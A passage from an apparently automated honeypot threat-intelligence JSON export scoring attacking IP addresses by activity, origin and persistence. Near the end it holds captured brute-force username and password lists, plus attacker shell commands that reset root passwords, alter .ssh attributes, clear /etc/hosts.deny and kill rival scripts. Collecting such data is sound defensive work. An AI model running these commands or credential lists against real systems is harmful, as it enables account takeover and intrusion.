        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-25T16:46:42.998000+00:00",
        "last_seen_30d": "2026-04-25T16:48:03.143000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "122.254.29.82": {
      "attack_count": 2,
      "first_seen": "2026-04-04T21:26:58.144Z",
      "last_seen": "2026-04-04T21:27:28.776Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Taiwan",
      "country_code": "TW",
      "city": "Kaohsiung",
      "asn": 24165,
      "as_org": "UNION BROADBAND NETWORK",
      "threat_score": 2.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-04T21:26:58.144000+00:00",
        "last_seen_30d": "2026-04-04T21:28:37.954000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "131.222.253.78": {
      "attack_count": 2,
      "first_seen": "2026-04-30T08:35:32.731Z",
      "last_seen": "2026-04-30T08:35:36.241Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "T\u00fcrkiye",
      "country_code": "TR",
      "city": "Antakya",
      "asn": 216472,
      "as_org": "High Speed For Internet Services L.L.C",
      "threat_score": 18.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-30T08:35:32.731000+00:00",
        "last_seen_30d": "2026-04-30T08:36:37.392000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "147.185.133.184": {
      "attack_count": 2,
      "first_seen": "2026-04-30T09:05:17.649Z",
      "last_seen": "2026-04-30T09:05:27.371Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 72.2,
      "threat_level": "high",
      "score_components": {
        "frequency": 15.1,
        "persistence": 24.2,
        "diversity": 18,
        "spread": 15,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 32,
        "days_active_30d": 29,
        "ports_targeted_30d": 9,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-02T07:16:49+00:00",
        "last_seen_30d": "2026-04-30T09:06:28.061000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 20,
        "Honeytrap": 10,
        "Cowrie": 2
      }
    },
    "179.125.128.241": {
      "attack_count": 2,
      "first_seen": "2026-04-26T01:13:26.375Z",
      "last_seen": "2026-04-26T01:15:26.385Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Campinas",
      "asn": 28649,
      "as_org": "Desktop Sigmanet Comunicacao Multimidia SA",
      "threat_score": 16.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-26T01:13:26.375000+00:00",
        "last_seen_30d": "2026-04-26T01:26:31.048000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "189.176.157.199": {
      "attack_count": 2,
      "first_seen": "2026-04-18T12:51:44.153Z",
      "last_seen": "2026-04-18T12:52:13.277Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Mexico",
      "country_code": "MX",
      "city": "Campeche",
      "asn": 8151,
      "as_org": "UNINET",
      "threat_score": 11.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-18T12:51:44.153000+00:00",
        "last_seen_30d": "2026-04-18T12:53:18.539000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "195.184.76.244": {
      "attack_count": 2,
      "first_seen": "2026-04-15T08:32:02.868Z",
      "last_seen": "2026-04-15T08:32:05.873Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Warrenton",
      "asn": 213412,
      "as_org": "ONYPHE SAS",
      "threat_score": 86.8,
      "threat_level": "critical",
      "score_components": {
        "frequency": 21.8,
        "persistence": 25,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 152,
        "days_active_30d": 30,
        "ports_targeted_30d": 50,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-04-01T02:46:44+00:00",
        "last_seen_30d": "2026-04-30T17:26:45.795000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 114,
        "Honeytrap": 35,
        "Cowrie": 2,
        "Dionaea": 1
      }
    },
    "201.225.243.115": {
      "attack_count": 2,
      "first_seen": "2026-04-28T01:18:44.627Z",
      "last_seen": "2026-04-28T01:20:44.643Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Panama",
      "country_code": "PA",
      "city": "David",
      "asn": 11556,
      "as_org": "Cable & Wireless Panama",
      "threat_score": 17.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-28T01:18:44.627000+00:00",
        "last_seen_30d": "2026-04-28T01:31:34.786000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "213.244.104.134": {
      "attack_count": 2,
      "first_seen": "2026-04-10T08:00:08.787Z",
      "last_seen": "2026-04-10T08:00:23.251Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Palestine",
      "country_code": "PS",
      "city": "Gaza",
      "asn": 12975,
      "as_org": "Palestine Telecommunications Company (PALTEL)",
      "threat_score": 5.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-10T08:00:08.787000+00:00",
        "last_seen_30d": "2026-04-10T08:01:25.387000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "38.10.131.4": {
      "attack_count": 2,
      "first_seen": "2026-04-30T02:17:57.287Z",
      "last_seen": "2026-04-30T02:18:10.803Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Dominican Republic",
      "country_code": "DO",
      "city": null,
      "asn": 273198,
      "as_org": "RODRIGUEZ CABLEVISION SRL",
      "threat_score": 17.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-30T02:17:57.287000+00:00",
        "last_seen_30d": "2026-04-30T02:19:18.044000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "47.237.102.37": {
      "attack_count": 2,
      "first_seen": "2026-04-05T17:50:29.351Z",
      "last_seen": "2026-04-05T17:51:00.104Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": null,
      "asn": 45102,
      "as_org": "Alibaba US Technology Co., Ltd.",
      "threat_score": 3.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-05T17:50:29.351000+00:00",
        "last_seen_30d": "2026-04-05T17:52:00.423000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "5.250.187.19": {
      "attack_count": 2,
      "first_seen": "2026-04-01T10:15:29.190Z",
      "last_seen": "2026-04-01T10:15:31.696Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Spain",
      "country_code": "ES",
      "city": null,
      "asn": 8560,
      "as_org": "IONOS SE",
      "threat_score": 1.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-01T10:15:29.190000+00:00",
        "last_seen_30d": "2026-04-01T10:17:27.803000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "58.177.78.181": {
      "attack_count": 2,
      "first_seen": "2026-04-21T23:40:35.954Z",
      "last_seen": "2026-04-21T23:41:06.580Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": null,
      "asn": 9269,
      "as_org": "Hong Kong Broadband Network Ltd.",
      "threat_score": 13.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-21T23:40:35.954000+00:00",
        "last_seen_30d": "2026-04-21T23:42:09.627000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "58.249.175.107": {
      "attack_count": 2,
      "first_seen": "2026-04-03T09:24:50.757Z",
      "last_seen": "2026-04-03T09:25:21.328Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Guangzhou",
      "asn": 17622,
      "as_org": "China Unicom Guangzhou network",
      "threat_score": 1.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-03T09:24:50.757000+00:00",
        "last_seen_30d": "2026-04-03T09:26:28.958000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "72.49.194.134": {
      "attack_count": 2,
      "first_seen": "2026-04-09T02:59:36.502Z",
      "last_seen": "2026-04-09T02:59:48.887Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "West Chester",
      "asn": 6181,
      "as_org": "Cincinnati Bell Telephone Company LLC",
      "threat_score": 5.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-09T02:59:36.502000+00:00",
        "last_seen_30d": "2026-04-09T03:00:57.338000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "78.54.55.62": {
      "attack_count": 2,
      "first_seen": "2026-04-01T13:01:25.415Z",
      "last_seen": "2026-04-01T13:01:40.435Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Berlin",
      "asn": 6805,
      "as_org": "Telefonica Germany",
      "threat_score": 1.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-01T13:01:25.415000+00:00",
        "last_seen_30d": "2026-04-01T13:02:47.158000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "85.97.46.246": {
      "attack_count": 2,
      "first_seen": "2026-04-30T11:12:20.097Z",
      "last_seen": "2026-04-30T11:14:20.101Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "T\u00fcrkiye",
      "country_code": "TR",
      "city": "Istanbul",
      "asn": 9121,
      "as_org": "Turk Telekom",
      "threat_score": 21.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 7.0,
        "persistence": 2.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 5,
        "days_active_30d": 3,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-28T06:53:16.566000+00:00",
        "last_seen_30d": "2026-04-30T11:25:04.067000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 3,
        "Cowrie": 2
      }
    },
    "91.196.152.216": {
      "attack_count": 2,
      "first_seen": "2026-04-04T12:49:01.786Z",
      "last_seen": "2026-04-04T12:49:01.796Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "France",
      "country_code": "FR",
      "city": "Roubaix",
      "asn": 213412,
      "as_org": "ONYPHE SAS",
      "threat_score": 87.4,
      "threat_level": "critical",
      "score_components": {
        "frequency": 22.4,
        "persistence": 25,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 172,
        "days_active_30d": 30,
        "ports_targeted_30d": 58,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-04-01T01:17:18+00:00",
        "last_seen_30d": "2026-04-30T23:15:19.340000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 127,
        "Honeytrap": 42,
        "Cowrie": 2,
        "Ciscoasa": 1
      }
    },
    "95.165.8.90": {
      "attack_count": 2,
      "first_seen": "2026-04-11T12:03:02.953Z",
      "last_seen": "2026-04-11T12:05:02.960Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": "Moscow",
      "asn": 25513,
      "as_org": "PJSC Moscow city telephone network",
      "threat_score": 6.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-11T12:03:02.953000+00:00",
        "last_seen_30d": "2026-04-11T12:15:11.971000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "95.7.79.96": {
      "attack_count": 2,
      "first_seen": "2026-04-26T17:56:04.177Z",
      "last_seen": "2026-04-26T17:58:04.179Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "T\u00fcrkiye",
      "country_code": "TR",
      "city": "K\u0131rklareli",
      "asn": 9121,
      "as_org": "Turk Telekom",
      "threat_score": 16.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-26T17:56:04.177000+00:00",
        "last_seen_30d": "2026-04-26T18:08:38.966000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "98.24.250.6": {
      "attack_count": 2,
      "first_seen": "2026-04-26T04:24:57.030Z",
      "last_seen": "2026-04-26T04:26:57.050Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Leland",
      "asn": 11426,
      "as_org": "Charter Communications Inc",
      "threat_score": 16.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-26T04:24:57.030000+00:00",
        "last_seen_30d": "2026-04-26T04:28:01.034000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "213.209.159.159": {
      "attack_count": 4587,
      "first_seen": "2026-04-01T00:06:06.050Z",
      "last_seen": "2026-04-30T23:24:57.550Z",
      "sessions": 508,
      "ports": [],
      "usernames_attempted": [
        "ireland",
        "rowan",
        "abdul",
        "abrianna",
        "acacia",
        "adamaris",
        "addie",
        "adela",
        "adelaide",
        "adia",
        "adriel",
        "adrien",
        "aidan",
        "ainsley",
        "aislinn",
        "aiyanna",
        "alea",
        "aleena",
        "aleigha",
        "alek"
      ],
      "passwords_attempted": [
        "ireland",
        "ireland1",
        "ireland123",
        "ireland1234",
        "ireland12345",
        "abdul",
        "abdul1",
        "abdul123",
        "abdul1234",
        "abdul12345",
        "abrianna",
        "abrianna1",
        "abrianna123",
        "abrianna1234",
        "abrianna12345",
        "acacia",
        "acacia1",
        "acacia123",
        "acacia1234",
        "acacia12345"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.direct-tcpip.data",
        "cowrie.direct-tcpip.request",
        "cowrie.login.success"
      ],
      "country": "Taiwan",
      "country_code": "TW",
      "city": null,
      "asn": 208137,
      "as_org": "Feo Prest SRL",
      "threat_score": 69.0,
      "threat_level": "high",
      "score_components": {
        "frequency": 30,
        "persistence": 25,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 6126,
        "days_active_30d": 30,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-01T00:06:06.050000+00:00",
        "last_seen_30d": "2026-04-30T23:26:01.245000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4587,
        "Suricata": 1539
      }
    },
    "193.32.162.151": {
      "attack_count": 2139,
      "first_seen": "2026-04-05T11:15:39.691Z",
      "last_seen": "2026-04-30T02:50:41.708Z",
      "sessions": 426,
      "ports": [],
      "usernames_attempted": [
        "oracle",
        "mysql",
        "admin",
        "hadoop",
        "nexus",
        "epsuser",
        "hduser",
        "kryan",
        "loginuser",
        "master",
        "root",
        "user",
        "azureuser",
        "nadiah",
        "Admin",
        "ansible",
        "dbuser",
        "debian",
        "display",
        "docker"
      ],
      "passwords_attempted": [
        "12345678",
        "password",
        "123456",
        "1qaz@WSX",
        "p@ssw0rd",
        "root",
        "12345",
        "admin",
        "admin123",
        "admin@123",
        "hadoop",
        "master",
        "oracle123",
        "q1w2e3r4",
        "qwer1234",
        "user",
        "1",
        "123",
        "1234567890",
        "1q2w3e4r"
      ],
      "commands_executed": [
        "/bin/./uname -s -v -n -r -m"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Romania",
      "country_code": "RO",
      "city": null,
      "asn": 47890,
      "as_org": "Unmanaged Ltd",
      "threat_score": 63.7,
      "threat_level": "high",
      "score_components": {
        "frequency": 30,
        "persistence": 21.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 3148,
        "days_active_30d": 26,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-05T11:11:09.951000+00:00",
        "last_seen_30d": "2026-04-30T02:51:45.932000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2139,
        "Suricata": 1009
      }
    },
    "92.118.39.92": {
      "attack_count": 1597,
      "first_seen": "2026-04-01T13:52:17.755Z",
      "last_seen": "2026-04-11T09:46:42.623Z",
      "sessions": 314,
      "ports": [],
      "usernames_attempted": [
        "root",
        "ubuntu",
        "debian",
        "admin",
        "git",
        "jira",
        "sol",
        "solana",
        "test",
        "testuser",
        "tradebot",
        "uftp",
        "www",
        "administrator",
        "ansible",
        "bot",
        "btc",
        "btc1",
        "centos",
        "degen"
      ],
      "passwords_attempted": [
        "1234",
        "12345",
        "123456",
        "admin",
        "bot123",
        "password",
        "123",
        "delegate",
        "dogecoin",
        "ether",
        "gwei",
        "jira",
        "sol",
        "solana",
        "telegramapi",
        "test",
        "testuser",
        "trade",
        "validator",
        "debian"
      ],
      "commands_executed": [
        "/bin/./uname -s -v -n -r -m"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Dallas",
      "asn": 47890,
      "as_org": "Unmanaged Ltd",
      "threat_score": 18.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 30,
        "persistence": 9.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 2337,
        "days_active_30d": 11,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-01T13:47:10.692000+00:00",
        "last_seen_30d": "2026-04-11T09:47:44.268000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 1597,
        "Suricata": 740
      }
    },
    "201.184.50.251": {
      "attack_count": 719,
      "first_seen": "2026-04-04T06:52:40.026Z",
      "last_seen": "2026-04-15T21:41:49.132Z",
      "sessions": 85,
      "ports": [],
      "usernames_attempted": [
        "root",
        "ubuntu",
        "345gs5662d34",
        "steam",
        "deploy",
        "git",
        "test",
        "user",
        "teamspeak",
        "bin",
        "bot",
        "bounce",
        "claude",
        "demo",
        "devuser01",
        "emily",
        "frappe",
        "ftpuser1",
        "laravel",
        "mantis"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123",
        "123456",
        "test",
        "!@#",
        "!QAZ4rfv",
        ",ki89ol.",
        "1",
        "12",
        "123@123a",
        "1q2w3e4r",
        "1qazxsw2",
        "654321",
        "7654321",
        "A123123123",
        "AAaa123456",
        "Aa1234",
        "Admin@2026",
        "Apple2026"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"7654321\\nEDlATxGP5dym\\nEDlATxGP5dym\\n\"|passwd",
        "echo \"A123123123\\nbU7CnGSPjTXC\\nbU7CnGSPjTXC\\n\"|passwd",
        "echo \"Changeme_123\\nsg0Df1WIOZsA\\nsg0Df1WIOZsA\\n\"|passwd",
        "echo \"ZXCVBN\\nzg53w6BmrbM9\\nzg53w6BmrbM9\\n\"|passwd",
        "echo \"root:lVz2JKsl3mkg\"|chpasswd|bash",
        "echo -e \"7654321\\nEDlATxGP5dym\\nEDlATxGP5dym\"|passwd|bash",
        "echo -e \"A123123123\\nbU7CnGSPjTXC\\nbU7CnGSPjTXC\"|passwd|bash",
        "echo -e \"Changeme_123\\nsg0Df1WIOZsA\\nsg0Df1WIOZsA\"|passwd|bash",
        "echo -e \"ZXCVBN\\nzg53w6BmrbM9\\nzg53w6BmrbM9\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Colombia",
      "country_code": "CO",
      "city": "Bogot\u00e1",
      "asn": 13489,
      "as_org": "UNE EPM TELECOMUNICACIONES S.A.",
      "threat_score": 25.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 29.6,
        "persistence": 10.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
